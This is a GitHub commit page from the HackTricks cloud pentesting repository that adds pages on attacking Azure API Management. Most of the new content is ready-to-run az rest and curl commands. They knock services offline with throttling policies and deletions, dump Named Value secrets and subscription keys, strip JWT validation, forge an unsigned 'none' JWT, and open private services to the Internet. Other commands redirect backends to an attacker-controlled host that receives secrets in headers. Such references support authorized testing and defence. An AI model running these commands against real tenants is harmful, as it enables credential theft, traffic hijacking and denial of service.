Skip to content

Commit ca809b9

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 814b848 + a969491 commit ca809b9

File tree

5 files changed

+377
-1
lines changed

5 files changed

+377
-1
lines changed

.github/workflows/upload_ht_to_ai.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,4 +20,4 @@ jobs:
2020

2121
# 2. Execute the script
2222
- name: Execute script
23-
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
23+
run: export MY_OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY_UPLOAD_TO_OPENAI }}; python3 "./upload_ht_to_ai.py"

src/SUMMARY.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -460,6 +460,7 @@
460460
- [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
461461
- [Az - Entra ID (AzureAD) & Azure IAM](pentesting-cloud/azure-security/az-services/az-azuread.md)
462462
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
463+
- [Az - API Management](pentesting-cloud/azure-security/az-services/az-api-management.md)
463464
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
464465
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
465466
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
@@ -507,6 +508,7 @@
507508
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
508509
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
509510
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
511+
- [Az API Management Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md)
510512
- [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md)
511513
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
512514
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
@@ -525,6 +527,7 @@
525527
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
526528
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
527529
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
530+
- [Az - API Management Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md)
528531
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
529532
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
530533
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
# Azure - API Management Post-Exploitation
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
6+
The attacker can use multiple vectors to cause a denial of service. To block legitimate traffic, the attacker adds rate-limiting and quota policies with extremely low values, effectively preventing normal access:
7+
8+
```bash
9+
az rest --method PUT \
10+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
11+
--headers "Content-Type=application/json" \
12+
--body '{
13+
"properties": {
14+
"format": "rawxml",
15+
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
16+
}
17+
}'
18+
```
19+
20+
To block specific legitimate client IPs, the attacker can add IP filtering policies that reject requests from selected addresses:
21+
22+
```bash
23+
az rest --method PUT \
24+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
25+
--headers "Content-Type=application/json" \
26+
--body '{
27+
"properties": {
28+
"format": "rawxml",
29+
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
30+
}
31+
}'
32+
```
33+
34+
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
35+
To cause requests to fail, the attacker can modify a backend configuration and change its URL to an invalid or unreachable address:
36+
37+
```bash
38+
az rest --method PUT \
39+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
40+
--headers "Content-Type=application/json" "If-Match=*" \
41+
--body '{
42+
"properties": {
43+
"url": "https://invalid-backend-that-does-not-exist.com",
44+
"protocol": "http"
45+
}
46+
}'
47+
```
48+
49+
Or delete backends:
50+
```bash
51+
az rest --method DELETE \
52+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
53+
--headers "If-Match=*"
54+
```
55+
56+
## `Microsoft.ApiManagement/service/apis/delete`
57+
To make critical APIs unavailable, the attacker can delete them directly from the API Management service:
58+
59+
```bash
60+
az rest --method DELETE \
61+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
62+
--headers "If-Match=*"
63+
```
64+
65+
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
66+
To block access from the Internet, the attacker can disable public network access on the API Management service:
67+
68+
```bash
69+
az rest --method PATCH \
70+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
71+
--headers "Content-Type=application/json" \
72+
--body '{
73+
"properties": {
74+
"publicNetworkAccess": "Disabled"
75+
}
76+
}'
77+
```
78+
79+
## `Microsoft.ApiManagement/service/subscriptions/delete`
80+
To block access for legitimate users, the attacker can delete API Management subscriptions:
81+
82+
```bash
83+
az rest --method DELETE \
84+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
85+
--headers "If-Match=*"
86+
```
87+
88+
89+
{{#include ../../../banners/hacktricks-training.md}}
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
# Az - API Management Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
6+
7+
The attack consists of accessing sensitive secrets stored in Azure API Management Named Values, either by directly retrieving secret values or by abusing permissions to obtain Key Vault–backed secrets through managed identities.
8+
9+
```bash
10+
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
11+
```
12+
13+
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
14+
For each subscription, the attacker can obtain the subscription keys by using the listSecrets endpoint with the POST method:
15+
16+
```bash
17+
az rest --method POST \
18+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
19+
```
20+
21+
The response includes the subscription primary key (primaryKey) and secondary key (secondaryKey). With these keys, the attacker can authenticate and access the APIs published through the API Management Gateway:
22+
23+
```bash
24+
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
25+
https://<service-name>.azure-api.net/<api-path>
26+
```
27+
28+
The attacker can access all APIs and products associated with the subscription. If the subscription has access to sensitive products or APIs, the attacker may obtain confidential information or perform unauthorized operations.
29+
30+
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
31+
32+
The attacker first retrieves the current API policy:
33+
34+
```bash
35+
az rest --method GET \
36+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
37+
```
38+
39+
The attacker can modify the policy in multiple ways depending on their objectives. For example, to disable authentication, if the policy includes JWT token validation, the attacker can remove or comment out that section:
40+
41+
```xml
42+
<policies>
43+
<inbound>
44+
<base />
45+
<!-- JWT validation removed by the attacker -->
46+
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
47+
...
48+
</validate-jwt> -->
49+
</inbound>
50+
<backend>
51+
<base />
52+
</backend>
53+
<outbound>
54+
<base />
55+
</outbound>
56+
<on-error>
57+
<base />
58+
</on-error>
59+
</policies>
60+
```
61+
62+
To remove rate limiting controls and allow denial-of-service attacks, the attacker can remove or comment out quota and rate-limit policies:
63+
64+
```xml
65+
<policies>
66+
<inbound>
67+
<base />
68+
<!-- Rate limiting removed by the attacker -->
69+
<!-- <rate-limit calls="100" renewal-period="60" />
70+
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
71+
</inbound>
72+
...
73+
</policies>
74+
```
75+
76+
To modify the backend route and redirect traffic to an attacker-controlled server:
77+
78+
```xml
79+
<policies>
80+
...
81+
<inbound>
82+
<base />
83+
<set-backend-service base-url="https://attacker-controlled-server.com" />
84+
</inbound>
85+
...
86+
</policies>
87+
```
88+
89+
The attacker then applies the modified policy. The request body must be a JSON object containing the policy in XML format:
90+
91+
```bash
92+
az rest --method PUT \
93+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
94+
--headers "Content-Type=application/json" \
95+
--body '{
96+
"properties": {
97+
"format": "rawxml",
98+
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
99+
}
100+
}'
101+
```
102+
103+
## JWT Validation Misconfiguration
104+
105+
The attacker needs to know that an API uses JWT token validation and that the policy is misconfigured. Poorly configured JWT validation policies may have `require-signed-tokens="false"` or `require-expiration-time="false"`, which allows the service to accept unsigned tokens or tokens that never expire.
106+
107+
The attacker creates a malicious JWT token using the none algorithm (unsigned):
108+
109+
```
110+
# Header: {"alg":"none"}
111+
# Payload: {"sub":"user"}
112+
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
113+
```
114+
115+
The attacker sends a request to the API using the malicious token:
116+
117+
```bash
118+
curl -X GET \
119+
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
120+
https://<apim>.azure-api.net/path
121+
```
122+
123+
If the policy is misconfigured with `require-signed-tokens="false"`, the service will accept the unsigned token. The attacker can also create a token without an expiration claim if `require-expiration-time="false"`.
124+
125+
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
126+
The attacker first checks the current network configuration of the service:
127+
128+
```bash
129+
az rest --method GET \
130+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
131+
```
132+
133+
The attacker reviews the JSON response to verify the values of `publicNetworkAccess` and `virtualNetworkType`. If `publicNetworkAccess` is set to false or `virtualNetworkType` is set to Internal, the service is configured for private access.
134+
135+
To expose the service to the Internet, the attacker must change both settings. If the service is running in internal mode (`virtualNetworkType: "Internal"`), the attacker changes it to None or External and enables public network access. This can be done using the Azure Management API:
136+
137+
```bash
138+
az rest --method PATCH \
139+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
140+
--headers "Content-Type=application/json" \
141+
--body '{
142+
"properties": {
143+
"publicNetworkAccess": "Enabled",
144+
"virtualNetworkType": "None"
145+
}
146+
}'
147+
```
148+
149+
Once `virtualNetworkType` is set to `None` or `External` and `publicNetworkAccess` is enabled, the service and all its APIs become accessible from the Internet, even if they were previously protected behind a private network or private endpoints.
150+
151+
## `Microsoft.ApiManagement/service/backends/write`
152+
The attacker first enumerates the existing backends to identify which one to modify:
153+
154+
```bash
155+
az rest --method GET \
156+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
157+
```
158+
159+
The attacker retrieves the current configuration of the backend they want to modify:
160+
161+
```bash
162+
az rest --method GET \
163+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
164+
```
165+
166+
The attacker modifies the backend URL to point to a server under their control. First, they obtain the ETag from the previous response and then update the backend:
167+
168+
```bash
169+
az rest --method PUT \
170+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
171+
--headers "Content-Type=application/json" "If-Match=*" \
172+
--body '{
173+
"properties": {
174+
"url": "https://attacker-controlled-server.com",
175+
"protocol": "http",
176+
"description": "Backend modified by attacker"
177+
}
178+
}'
179+
```
180+
181+
Alternatively, the attacker can configure backend headers to exfiltrate Named Values containing secrets. This is done through the backend credentials configuration:
182+
183+
```bash
184+
az rest --method PUT \
185+
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
186+
--headers "Content-Type=application/json" "If-Match=*" \
187+
--body '{
188+
"properties": {
189+
"url": "https://attacker-controlled-server.com",
190+
"protocol": "http",
191+
"credentials": {
192+
"header": {
193+
"X-Secret-Value": ["{{named-value-secret}}"]
194+
}
195+
}
196+
}
197+
}'
198+
```
199+
200+
With this configuration, Named Values are sent as headers in all requests to the attacker-controlled backend, enabling the exfiltration of sensitive secrets.
201+
202+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)